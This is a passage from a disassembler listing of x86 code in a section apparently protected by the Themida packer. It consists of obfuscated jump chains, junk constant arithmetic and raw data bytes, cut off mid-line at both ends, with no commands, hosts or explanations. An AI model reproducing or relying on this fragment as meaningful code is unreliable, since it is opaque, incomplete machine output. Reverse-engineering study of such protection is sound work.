eax, 4 push ebx mov ebx, 1D167724h neg ebx xor ebx, 0E2E988D8h add eax, ebx jmp loc_53D9F2 ; --------------------------------------------------------------------------- db 0BDh dd 286B1239h, 9EEFE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D97E: ; CODE XREF: Themida_:0053E481j mov [esp], edi mov edi, 31CA6B2Bh push edx mov edx, 4A647F0Eh xor edx, 495411DAh xor edx, 2D8559FDh add edi, edx jmp loc_53C8C4 ; --------------------------------------------------------------------------- db 8Bh dd 89662424h, 66502414h, 66708568h, 0E0D16658h, 0CB7E2D66h dd 32FB6851h, 34890000h, 0C6896624h, 0F0896650h, 58C18966h dd 0FF8365E9h, 4C483FFh, 0D2E9C629h, 68FFFF91h, 6F7Ah dd 0FFAAAAE9h, 81F301FFh, 70025DEBh, 1C875E4Eh, 0CC56E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D9F2: ; CODE XREF: Themida_:0053D96Ej pop ebx xchg eax, [esp] pop esp pop dword ptr [esp] pop esp mov [esp], eax pop edi mov edx, edi pop edi jmp loc_535363 ; --------------------------------------------------------------------------- loc_53DA07: ; CODE XREF: Themida_:005370D3j add dword ptr [esp], 7E8632A0h jmp loc_536696 ; --------------------------------------------------------------------------- loc_53DA13: ; CODE XREF: Themida_:0053E633j add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_53D33A ; --------------------------------------------------------------------------- db 4Bh, 0E9h, 7Eh dd 56000012h, 866762BEh, 5EF58923h, 0E581D5F7h, 152C3EC1h dd 4EC81h, 1AE90000h, 81FFFFBDh, 4C4h, 42E95500h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DA53: ; CODE XREF: Themida_:00536148j mov ebp, [esp] add esp, 4 add esi, 75093B96h add esi, ebp sub esi, 75093B96h mov ebp, [esp] add esp, 4 mov edx, esi push dword ptr [esp] pop esi jmp loc_53AB24 ; --------------------------------------------------------------------------- dd 8704EF83h, 248B243Ch, 241C8924h, 0FF896CE9h db 0FFh ; --------------------------------------------------------------------------- loc_53DA89: ; CODE XREF: Themida_:0053D0D7j pop ebx jmp loc_53E553 ; --------------------------------------------------------------------------- db 0BDh dd 1AAB0A2Ch, 4246C81h, 5C063FC0h, 4246C01h, 4244481h dd 5C063FC0h, 8B2434FFh, 0C481242Ch, 4, 0FFF2DFE9h, 2434FFFFh dd 2748E9h db 0 byte_53DAC1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00535240o dd 0E6895624h, 7A20E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DACE: ; CODE XREF: Themida_:00538E05j push eax sub esp, 4 jmp loc_53719D ; --------------------------------------------------------------------------- loc_53DADA: ; CODE XREF: Themida_:00539CA3j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_53739F ; --------------------------------------------------------------------------- aNqPrfds db 'Q¹¯rädé',0 ; DATA XREF: Themida_:005352D4o db 1Dh dd 0C7810000h, 2, 31243C33h, 3C33243Ch, 0A18AE924h, 0BE0FFFFFh dd 58E568C8h, 0C890000h, 7845E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DB1E: ; CODE XREF: Themida_:00540BC7j mov ebx, 5573AA3h xor ebx, 34CC4593h shl ebx, 3 xor ebx, 0BE52CD15h add eax, ebx pop ebx jmp loc_53DBED ; --------------------------------------------------------------------------- dw 0C781h dd 44EB6BB1h, 0FFE959E9h, 0D5F745FFh, 94C5814Dh, 815C2475h dd 5CE5D5EDh, 0E80DE90Fh, 8166FFFFh, 4F04246Ch, 6C016625h dd 81660424h, 4F042444h, 665D6625h, 81242C8Bh, 2C4h, 77E5E900h dd 68FFFFh, 29000000h, 505E2434h, 8828E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DB8E: ; CODE XREF: Themida_:00538B8Cj mov [esp], cx jmp loc_538EDF ; --------------------------------------------------------------------------- loc_53DB97: ; CODE XREF: Themida_:0053E1CDj add ebp, 699F4E62h sub eax, ebp pop ebp mov esi, [esp] push eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_53AB82 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 8D38E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DBC6: ; CODE XREF: Themida_:0053D09Cj pop edx mov ecx, [esp] add esp, 4 jmp loc_53E0F3 ; --------------------------------------------------------------------------- dw 487h dd 3C875C24h, 0EC815C24h, 4, 68241C89h, 1E92h, 110DE9h db 0 ; --------------------------------------------------------------------------- loc_53DBED: ; CODE XREF: Themida_:0053DB35j add eax, 606E69B5h sub eax, ebp sub eax, 606E69B5h sub eax, 32893495h mov ebp, [esp] jmp loc_53E2A5 ; --------------------------------------------------------------------------- dw 0E2C1h dd 51DAF707h, 5C1BE4B9h, 0D6C3E918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DC16: ; CODE XREF: Themida_:0053B910j push 106Dh mov [esp], ebp push 900h mov [esp], ebx push esi push 17052Ah mov esi, [esp] add esp, 4 push edi mov edi, 58DB2714h and edi, 390078F5h shl edi, 3 jmp loc_537D21 ; --------------------------------------------------------------------------- db 57h, 0BFh, 66h dd 5773453Dh, 5F240CFFh, 5D26F781h, 88E92EADh, 2DFFFFB8h dd 65F46DB5h, 0AE9D829h, 50FFFFBEh, 5EE9E089h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DC73: ; CODE XREF: Themida_:00540740j mov [esp], ebx jmp loc_53CD5C ; --------------------------------------------------------------------------- byte_53DC7B db 0FFh ; DATA XREF: Themida_:005351E8o dd 0E0E92C77h, 83FFFF76h, 48904ECh, 2474FF24h, 24048B04h dd 53E28952h, 0EC43E0BBh, 0DDF3812Eh, 0E9611956h, 201Dh dd 8BEC8858h, 41E9240Ch, 1000015h, 0E53FE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DCB6: ; CODE XREF: Themida_:0054138Ej push esi push edi jmp loc_53CFDD ; --------------------------------------------------------------------------- aTrJbRnXsk db '¾’RÐjÆr/•éŠ(',0 dd 28E9B500h, 240C8BE8h, 5204C483h, 0EEC013B6h, 0B5516604h dd 66EE0061h, 0E9F00059h, 0FFFFD6AAh, 8103EEC1h, 0B7871EF6h dd 5EF0017Fh, 8324148Bh, 0C38104C4h, 3B4A417Eh, 643BC381h dd 0ABE903A2h, 0FFFFFF88h, 83582434h, 1C8904ECh, 92A5E924h db 2 dup(0FFh) word_53DD1E dw 77FFh ; DATA XREF: Themida_:005351C8o dd 59669D1Ch, 241CD366h, 7635E99Ch, 0C781FFFFh, 4, 0FF7DCAE9h db 0FFh ; --------------------------------------------------------------------------- loc_53DD39: ; CODE XREF: Themida_:00535D85j mov ebx, esp add ebx, 4 jmp loc_536C23 ; --------------------------------------------------------------------------- loc_53DD46: ; CODE XREF: Themida_:0053755Cj mov [esp], edx jmp loc_53D08E ; --------------------------------------------------------------------------- dw 0D101h dd 4E9835Ah, 5C240C87h, 89241489h, 0C4D4E9FAh, 0E953FFFFh dd 0FFFFE6C4h, 0E9240433h, 0FFFFDEDCh ; --------------------------------------------------------------------------- loc_53DD70: ; CODE XREF: Themida_:00538574j and eax, esi push dword ptr [esp] mov esi, [esp] jmp loc_53778E ; --------------------------------------------------------------------------- db 81h, 0C2h, 94h dd 897B5C78h, 0D6F75AD6h, 8B7F681h, 0EE8179A5h, 0FDE1F6ADh dd 15EF189h, 0C68159CEh, 4, 8904EC83h, 74FF2434h, 8F5E0424h dd 505C2404h, 4055854h, 83000000h, 48704E8h, 2C895C24h dd 5B97BD24h, 5056625Bh, 336C2E68h, 35485867h, 67336C2Ch dd 158C689h, 0D509E9F5h, 0B60FFFFFh, 0EF3EE9C0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DDE6: ; CODE XREF: Themida_:0053C507j add ebx, eax mov eax, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5392DD ; --------------------------------------------------------------------------- byte_53DDF9 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00535214o dd 1858669Dh, 0E99C2404h, 0FFFF755Bh, 66B1EA81h, 5952833Bh dd 0E5C1815Ah, 291103B2h, 240C8BC8h, 0E9E18951h, 0F76h dd 2329B850h, 0D0F76F2Dh, 949E9h db 0 byte_53DE31 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005351FCo dd 0E171E924h, 0E948FFFFh, 0FFFFEE29h, 205BC480h, 0BAECE9E6h dd 0C8BFFFFh, 4C48324h, 0B1E9h, 148B6600h, 0FC76824h, 3C890000h dd 30E95624h, 81FFFFDDh, 4C4h, 0E56DE900h, 0D301FFFFh dd 241C335Ah, 0FFAB78E9h, 26DEBAFFh, 0EAC1520Fh, 4EC8106h dd 89000000h, 7DBE2434h, 2965CB0Eh, 0EA815EF2h, 0FFFFFFFFh dd 4EBECA81h, 0BE567728h, 87C100Fh, 815EF229h, 0FD0454C2h dd 5AD13152h, 6EC9EF81h, 0CF011A2Fh, 6EC9C781h, 0FD591A2Fh dd 7146857h, 515F22DEh, 3670BCB9h, 0F8E1817Eh, 52598810h dd 0DC1B951h, 0C5E921BEh, 0D1FFFF80h, 5DBB53E5h, 167D661h dd 0F5815BDDh, 1B41F84Dh, 255DE801h, 1F7A3DB5h, 9DF68305h dd 0F8ABE9F8h, 0C381FFFFh, 2, 5C241C87h, 2066851h, 76E90000h dd 81000000h, 44CE94EEh, 5EF18953h, 4244C31h, 83240C8Bh dd 0E7E904C4h, 8BFFFFAEh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_539904 ; --------------------------------------------------------------------------- dd 0E388F488h, 0D8285A58h, 5B2434FFh, 3004C483h, 0C0B60FC3h dd 24148B66h, 23D4E950h, 0BA520000h, 0A47EA9C8h, 15AD029h dd 0EC8358C6h, 0E34CE904h, 1429FFFFh, 0A1C9E924h, 2C89FFFFh dd 2C815324h, 425CD124h, 242C8B3Ah, 0FFE0E6E9h, 241489FFh dd 0E5508EBAh, 8EF28147h, 0E947E550h, 0FFFF8B78h, 592434FFh dd 0ACFEE956h, 5750FFFFh, 0BF1CA3BFh, 1CBE5642h, 0B817173Dh dd 55A821BBh, 0FFF500E9h, 0E9815BFFh, 5D31E72h, 311F181h dd 0C1817357h, 0A016D6F7h, 37B0BD55h, 0E80166FEh, 0E9C8015Dh dd 0FFFFE63Ah, 34E5E381h, 0EBC158F9h, 0FFEB8102h, 55FFFFFFh dd 3B26D2BDh, 808FE933h, 8147FFFFh, 0E7008EF7h, 33E7813Eh dd 81165A72h, 0CC2734EFh, 5FFA89C6h, 0FFBB23E9h, 24248BFFh dd 8B2434FFh, 0C481240Ch, 4, 118DE9h, 5FFE2900h, 0FFF18BE9h dd 24248BFFh, 0E9241489h, 0FFFF731Fh, 55AD031h, 352B155Ch dd 0F2E9C689h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E053: ; CODE XREF: Themida_:0053CFA4j pop ebp pop dword ptr [esp] jmp loc_53D359 ; --------------------------------------------------------------------------- dd 0E92414F7h, 0FFFF8E8Dh, 0B9240C89h, 2AF3683Ah, 33FAE981h dd 81497866h, 0D4E9BF1h, 59CA01F4h, 0FFE260E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E081: ; CODE XREF: Themida_:005387DAj xor ebp, 7CC256B0h neg ebp inc ebp add ebp, 77CCB51Bh and ecx, ebp jmp loc_53850C ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 535AD529h, 0EB3ADABBh, 0E9D3F72Bh, 2D63h dd 81E78957h, 4C7h, 4EF8300h, 0FFE0E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E0C1: ; CODE XREF: Themida_:0053B690j shr edi, 8 jmp loc_53E8E9 ; --------------------------------------------------------------------------- db 66h, 5Bh, 52h dd 0FFC301E9h, 0D6C381FFh, 8167356Ah, 0EC14B3EBh, 0BBEB8117h dd 213BC75Dh, 0C5815BDDh, 0A2F78BA6h, 12E9EF29h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E0F3: ; CODE XREF: Themida_:0053DBCDj and eax, edx jmp loc_5371CA ; --------------------------------------------------------------------------- loc_53E0FA: ; CODE XREF: Themida_:005406EDj or ebp, edi pop edi sub ebp, 5A99BFE3h add esi, ebp pop ebp jmp loc_5380D4 ; --------------------------------------------------------------------------- loc_53E10B: ; CODE XREF: Themida_:00540BF8j pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_53585B ; --------------------------------------------------------------------------- dd 0E9240489h, 15E2h ; --------------------------------------------------------------------------- loc_53E12C: ; CODE XREF: Themida_:00535AF3j mov edx, 783422E1h and edx, 713B301Bh jmp loc_5358E7 ; --------------------------------------------------------------------------- loc_53E13C: ; CODE XREF: Themida_:0053CCCAj mov ecx, 20h sub ecx, 463272C6h add ecx, edi add ecx, 463272C6h mov [ecx], eax pop ecx mov eax, [esp] jmp loc_53BFD0 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48124h, 55000000h, 2BDh, 4BB5300h, 0E92DFE13h, 0FFFFF8B1h ; --------------------------------------------------------------------------- loc_53E174: ; CODE XREF: Themida_:005401F6j shr edx, 1 cmp eax, edx jz loc_53A70D push 32A2h mov [esp], ebx jmp loc_535768 ; --------------------------------------------------------------------------- loc_53E18B: ; CODE XREF: Themida_:00537BC0j and esi, eax pop eax jmp loc_53D841 ; --------------------------------------------------------------------------- db 58h dd 0F99AEF81h, 0FB012A10h, 83243C8Bh, 0DF0104C4h, 929E9h dd 52E95700h, 0BDFFFFDEh, 4A892DEFh, 7A5E9h, 4FD7F700h dd 0FFE9C1E9h db 0FFh byte_53E1C1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005352B4o dd 0F079E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E1CA: ; CODE XREF: Themida_:0053722Ej shr ebp, 2 jmp loc_53DB97 ; --------------------------------------------------------------------------- dw 0D5F7h dd 72ED8145h, 2921CF83h, 242C8BEAh, 4C481h, 59E90000h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E1EB: ; CODE XREF: Themida_:0053852Cj mov esi, 414E55E3h jmp loc_53F90F ; --------------------------------------------------------------------------- loc_53E1F5: ; CODE XREF: Themida_:0053ADE8j push esi jmp loc_538349 ; --------------------------------------------------------------------------- db 50h dd 0FFCC44E9h, 0FECEB6FFh, 0EDF680CEh, 5366D6F6h, 8874B252h dd 0DE285AD3h, 5BE95B66h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E21B: ; CODE XREF: Themida_:0053D673j sub edx, 4 xchg edx, [esp] jmp loc_53CFCE ; --------------------------------------------------------------------------- byte_53E229 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00535278o dd 411589Dh, 2CE99C24h, 81FFFF71h, 0E85696C2h, 8BD18995h dd 0C4832414h, 59CA0104h, 12FDE9h, 0DDF75D00h, 5CEE581h dd 0F7E93D1Ah, 5AFFFFB7h, 3ECE9h, 46C38100h, 13B86E8h dd 742EE9DEh, 0E951FFFFh, 3428h, 51E68956h, 6EE95256h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E27F: ; CODE XREF: Themida_:0053A940j push dword ptr [esp] mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_537EF3 ; --------------------------------------------------------------------------- dd 0E958C629h, 0FFFF752Fh, 5CD468h, 24048900h, 0FFD9D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E2A5: ; CODE XREF: Themida_:0053DC01j add esp, 4 xor ebx, eax pop dword ptr [eax] jmp loc_535363 ; --------------------------------------------------------------------------- loc_53E2B4: ; CODE XREF: Themida_:00540521j sub edi, ebx pop ebx jmp loc_53987C ; --------------------------------------------------------------------------- loc_53E2BC: ; CODE XREF: Themida_:005371D0j push edi mov edi, 1BE83A00h shl edi, 2 inc edi jmp loc_53F498 ; --------------------------------------------------------------------------- db 33h dd 34312434h, 24343324h, 6624248Bh, 0E924048Bh, 982h, 66CF8966h dd 595FFA89h, 0D0316658h, 24148B66h, 6602C483h, 83E9C331h dd 31FFFFB3h, 0EF8159CFh, 0FFFFFFFFh, 8904EC83h, 0EC832414h dd 240C8904h, 0CC291568h, 0E9815928h, 279118EEh, 53FCE181h dd 0F1816665h, 3E8D314Ah, 2159CA89h, 24148BD7h, 0FFE29CE9h dd 0F0895DFFh, 0E924348Bh, 0FFFFB0FEh, 0ECE9EE31h, 89000025h dd 5355240Ch, 57776BBh, 0E047BD7Ch, 0DD311230h, 97C6E95Bh dd 0E289FFFFh, 4C281h, 0C2830000h, 24148704h, 0F788E95Ch dd 0C481FFFFh, 4, 8904EC83h, 1FB9240Ch, 1553C22h, 240C8BCEh dd 0E904C483h, 0FFFFCCC4h, 0D1F6D9F6h, 0F180D1F6h, 82B4504Dh dd 0E600A7B6h, 0E998E958h, 0BA52FFFFh, 2, 2816602Dh, 0D7C4E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E3B6: ; CODE XREF: Themida_:0053F6BBj neg bh mov dh, bh pop bx neg dh jmp loc_537952 ; --------------------------------------------------------------------------- db 1 dd 81505EF0h, 3DD22434h, 2FE93A9Bh, 29FFFFE7h, 23E95BDDh dd 89FFFFC4h, 4C181E1h, 0E9000000h, 0FFFF9EA3h, 713435BFh dd 1ACF810Dh, 0C157E128h, 814703EFh, 14A6DF7h, 5FF9310Bh dd 731FE181h, 81416A86h, 0EA03A1C1h, 0FFC831DFh, 0E9592434h dd 0FFFFFE5Ch, 6AE9505Ch, 100002Eh, 148758C2h, 24248B24h dd 8B2434FFh, 0BCE92404h, 1000018h, 5D04246Ch, 0FF6F26E9h dd 39B868FFh, 0EE90000h db 0BEh, 2 dup(0FFh) aNhwi db 'hWi',0 ; DATA XREF: Themida_:00535084o dd 24048900h, 984BF768h, 2434FF14h, 0F56FE958h, 0F681FFFFh dd 0A254953h, 2A9CEE81h, 0C6813E59h, 8F13EEFEh, 0FFFF4EE9h db 0FFh ; --------------------------------------------------------------------------- loc_53E475: ; CODE XREF: Themida_:00536CE0j push esi mov esi, 558D4F93h sub esp, 4 jmp loc_53D97E ; --------------------------------------------------------------------------- loc_53E486: ; CODE XREF: Themida_:00540A92j mov esp, [esp] mov ax, [esp] push ebp push esp pop ebp add ebp, 4 sub esp, 4 mov [esp], esi push ebp mov ebp, 2 push ebp mov esi, [esp] jmp loc_539B00 ; --------------------------------------------------------------------------- loc_53E4AE: ; CODE XREF: Themida_:00537CF4j sub eax, 0FEE4C0F0h add ecx, eax pop eax xor ecx, 22D9BFFAh add ebp, ecx pop ecx push esi push edi mov edi, 445A2387h dec edi neg edi xor edi, 49224703h not edi shl edi, 2 xor edi, 469BD503h mov esi, edi mov edi, [esp] add esp, 4 jmp loc_5406F2 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF6E73h ; --------------------------------------------------------------------------- loc_53E4F0: ; CODE XREF: Themida_:00536C4Dj sub esp, 4 mov [esp], ebp mov ebp, 7B130AB7h add dword ptr [esp+4], 1ECE4C3Ch sub [esp+4], ebp push edx mov edx, 1ECE4C3Ch sub [esp+8], edx pop edx mov ebp, [esp] add esp, 4 mov eax, [esp] jmp loc_53EF89 ; --------------------------------------------------------------------------- dw 0C729h dd 0FFFC66E9h, 0E381FFh, 0E909C530h, 0FFFFC370h, 54240C89h dd 53240C8Bh, 0E956E389h, 2E4Bh dword_53E548 dd 0FF2434FFh, 0C9E92434h ; DATA XREF: Themida_:005351ACo db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E553: ; CODE XREF: Themida_:0053DA8Aj pop edx push dword ptr [esp] mov ebx, [esp] push esi jmp loc_53E937 ; --------------------------------------------------------------------------- dd 0B4CB8143h, 4B3CEB3Eh, 3D42F381h, 0A4E93CFFh, 83FFFF7Dh dd 0C8704E9h, 34895C24h, 2474FF24h, 73E95E04h, 83FFFFDDh dd 348904ECh, 9C27E924h, 0EE83FFFFh, 24348704h, 2183E9h db 0 ; --------------------------------------------------------------------------- loc_53E59D: ; CODE XREF: Themida_:005384D7j mov esp, [esp] mov [esp], cx jmp loc_53639E ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 0FFB329E9h, 89665CFFh, 0F66240Ch, 5166C8B6h, 6DA1E99Ch dd 0F281FFFFh, 3E1C2436h, 4D2DBD55h, 0ED812F72h, 32E40C85h dd 1DA4E581h, 0DDF72DFFh, 0FFFBF1E9h db 0FFh byte_53E5E1 db 66h, 8Bh, 24h ; DATA XREF: Themida_:005352BCo dd 6D79E924h, 0E95DFFFFh, 0FA3h, 0E4B8505Eh, 0F7272F3Dh dd 0C502E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E5FE: ; CODE XREF: Themida_:005400D6j add dword ptr [esp+4], 79810F4Bh sub [esp+4], edx jmp loc_53BE40 ; --------------------------------------------------------------------------- db 88h dd 83B1E9D1h, 48FFFFFh, 7E1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53E61E: ; CODE XREF: Themida_:0053A991j mov [esp], esi push 21E02F02h push dword ptr [esp] pop esi add esp, 4 push eax mov eax, esp jmp loc_53DA13 ; --------------------------------------------------------------------------- dd 4B8h, 0DB6EE900h, 0C483FFFFh, 50E7D104h, 668E9h, 8BDD8900h dd 0C481241Ch, 4, 0FFEFF5E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E65D: ; CODE XREF: Themida_:00536D62j add esi, 0C3A65CD7h mov ebx, esi jmp loc_538D57 ; --------------------------------------------------------------------------- dw 6855h dd 780551B2h, 81242C8Bh, 4C4h, 0F3F58100h, 0C130C603h dd 0C58104E5h, 73CADBF4h, 34FFE801h, 0C4835D24h, 7EBC6804h dd 34890000h, 72C9BE24h, 0EE811FFCh, 1FFC72C7h, 0FF71D5E9h dd 4B850FFh, 81000000h, 5C5C50EBh, 50C30130h, 5C5C50B8h dd 58C30130h, 2628E9h, 673F2D00h, 0BE561AD7h, 593A6548h dd 0C102E6C1h, 0E6D108E6h, 0CB57EE81h, 0F001C6CEh, 0E9D8295Eh dd 0FFFF939Ch, 5D72F581h, 0EE3138C9h, 53242C8Bh, 0C381E389h dd 4, 0FF6C8FE9h, 24148BFFh, 0FC54E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E70A: ; CODE XREF: Themida_:0053F160j pop eax add esp, 4 jmp loc_53D500 ; --------------------------------------------------------------------------- loc_53E713: ; CODE XREF: Themida_:0053EB32j push 6402h mov [esp], esi push 5101h jmp loc_53C7A0 ; --------------------------------------------------------------------------- db 0FEh, 0C4h, 0F6h dd 7ECC0D4h, 8F7C480h, 0E1C058E1h, 0F6C9FE07h, 0DB0E9D1h dd 525C0000h, 153BE9h, 81F10100h, 8148F0C1h, 0E9565E4Eh dd 0FFFFD61Ch ; --------------------------------------------------------------------------- loc_53E754: ; CODE XREF: Themida_:00537836j jz loc_53AB2A push dword ptr [edi+28h] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx push esp pop ecx push esi mov esi, 0FAA2F04h jmp loc_53B03A ; --------------------------------------------------------------------------- dw 0E0C1h dd 8E8C104h, 691DBE56h, 0F0013FF6h, 0B186055Eh, 0C7290AB9h dd 0FF9888E9h, 242C89FFh, 81E78957h, 4C7h, 4EF8300h, 0E9243C87h dd 0FFFFD99Eh, 88D08850h, 4CE93847h, 83FFFF81h, 3AE904C3h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E7BF: ; CODE XREF: Themida_:00539AE7j add eax, 4 add eax, 4 jmp loc_538842 ; --------------------------------------------------------------------------- dw 429h aB_0 db '$,$Â*',0 db 62h dd 8904EC83h, 6852241Ch, 35E37CCEh, 0BCA815Ah, 4A26BF6Bh dd 75E2F281h, 0D3892D54h, 245C295Ah, 64E95B04h, 5EFFFF6Bh dd 4C481h, 0C6810000h, 4, 4CBBBF57h, 814F6866h, 655F2F7h dd 6EFC100h, 8067F781h, 0FE0101A1h, 7C66685Fh, 34890000h dd 2474FF24h, 24348B04h, 0FFE135E9h, 0C105FFh, 1BE93254h dd 83FFFFC4h, 0BAE904ECh, 68FFFF92h, 1CBDh, 81243489h dd 4ECh, 241C8900h, 0B97BEABBh, 0E603BE11h, 0DE011BA5h dd 5EF3295Bh, 0FFE4D5E9h, 4C381FFh, 0E9000000h, 0FFFF8918h dd 4C48159h, 68000000h, 7881h, 81240C89h, 4ECh, 24148900h dd 0FFFBA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E899: ; CODE XREF: Themida_:005414B1j and eax, esi pop esi or eax, eax jz loc_53CFBB push ebx mov ebx, 1Ch add ebx, edi push dword ptr [ebx] jmp loc_53A7C4 ; --------------------------------------------------------------------------- db 68h dd 7B6Fh, 0FFBDE4E9h, 241487FFh, 0E954575Ch, 543h, 0E981C129h dd 24FE7FB5h, 81C10158h, 782497C1h, 0C358E921h, 0C681FFFFh dd 204045h, 2C55E9h db 0 ; --------------------------------------------------------------------------- loc_53E8E9: ; CODE XREF: Themida_:0053E0C4j xor edi, 1CAA2F24h and edi, 6ACB75F8h jmp loc_53EF73 ; --------------------------------------------------------------------------- loc_53E8FA: ; CODE XREF: Themida_:00538212j push 1A05h mov [esp], ebx jmp loc_53B4DB ; --------------------------------------------------------------------------- db 8Fh dd 4812404h, 424h, 0E9565B00h, 0FFFFA9DBh, 4C781h, 3C870000h dd 0C3285C24h, 809BB151h, 0F18017C9h, 77EB806Bh, 0CEE9CB00h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E937: ; CODE XREF: Themida_:0053E55Bj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_53A709 ; --------------------------------------------------------------------------- dw 0EA81h dd 2F886CC7h, 0C281CA01h, 2F886CC7h, 6A05E959h, 0BD55FFFFh dd 4BCD4C93h, 2650ED81h, 0EAE92806h, 0BBFFFF90h, 28h, 388FB01h dd 0FF6CEEE9h, 0BF5750FFh, 4EF62130h, 525FF889h, 6A18CFBAh dd 40F28120h, 4A2A6772h, 0DAF7DAF7h, 0AF9C281h, 0D0011F9Eh dd 1736E9h, 89EE8900h, 0D15D5EF3h, 44C381E3h, 1EB0D7Bh dd 241C8BD8h, 4C481h, 0FF500000h, 58042474h, 0E924048Fh dd 0FFFF87F6h dword_53E9CC dd 79E105ADh, 0F20541ACh, 0E914854Eh, 0FFFF7217h, 5C1D6905h ; DATA XREF: Themida_:005351CCo dd 2DF80168h, 685C1D69h, 0F9B8E95Fh, 0BE56FFFFh, 4, 4247401h dd 0FF9774E9h, 81E987FFh, 4300DC1h, 0DEEF8122h, 113523Fh dd 0A708E9CFh, 0E95FFFFFh, 23Dh dword_53EA18 dd 24048B66h, 191CE957h, 0BD550000h, 9AE1097h, 0FF7095E9h ; DATA XREF: Themida_:005351ECo db 0FFh ; --------------------------------------------------------------------------- loc_53EA2D: ; CODE XREF: Themida_:0053C362j add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_536052 ; --------------------------------------------------------------------------- db 2Dh dd 8DEA5085h, 158C301h, 0D255E9C3h, 0F281FFFFh, 25781A79h dd 0E908EAC1h, 0FFFFF325h, 31241433h, 14332414h, 24248B24h dd 0FFB0AEE9h, 302D2DFFh, 0F00152D4h, 2544E9h, 66F82800h dd 0B1516653h, 66CF888Bh, 66F82859h, 7153E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EA8A: ; CODE XREF: Themida_:0053C81Dj mov ecx, 4 add ebp, ecx pop ecx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] add al, dl jmp loc_53D02A ; --------------------------------------------------------------------------- loc_53EAA5: ; CODE XREF: Themida_:00540AD2j mov ecx, 7C05160h jmp loc_5388B4 ; --------------------------------------------------------------------------- db 5Fh dd 34FFD509h, 89535A24h, 4C381E3h, 0E9000000h, 0FFFFFCF3h dd 4C181h, 0C1830000h, 0FCE904h, 875B0000h, 665C243Ch dd 5324048Bh, 32A268h, 50426800h, 24890000h, 24048124h dd 4, 5324048Fh, 58EE9h, 24348700h, 0FF6F23E9h db 0FFh ; --------------------------------------------------------------------------- loc_53EB01: ; CODE XREF: Themida_:005376FFj push esp pop ebx add ebx, 4 jmp loc_53C099 ; --------------------------------------------------------------------------- loc_53EB0E: ; CODE XREF: Themida_:0053EE20j mov edi, 4 sub ecx, edi mov edi, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop eax jmp loc_53E713 ; --------------------------------------------------------------------------- loc_53EB37: ; CODE XREF: Themida_:0053ECF5j or ebp, 3CF80F76h add ebp, 1 jmp loc_53C036 ; --------------------------------------------------------------------------- dd 582434FFh, 4C481h, 5EE90000h, 5100001Fh, 0A04D25B9h dd 0C1814134h, 0CB5FB2DEh, 29DCEA81h, 0CA01654Ch, 29DCC281h dd 8159654Ch, 4C2h, 0C0F4E900h, 48FFFFFh, 36E95624h, 89000003h dd 0E189240Ch, 0CD3AE956h, 2489FFFFh, 24048324h, 3CE95804h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EB9F: ; CODE XREF: Themida_:0053EDE4j add eax, 4 sub esp, 4 mov [esp], edx mov edx, 4 add eax, edx jmp loc_536981 ; --------------------------------------------------------------------------- loc_53EBB9: ; CODE XREF: Themida_:00535C0Cj not ebx jmp loc_535EAE ; --------------------------------------------------------------------------- loc_53EBC0: ; CODE 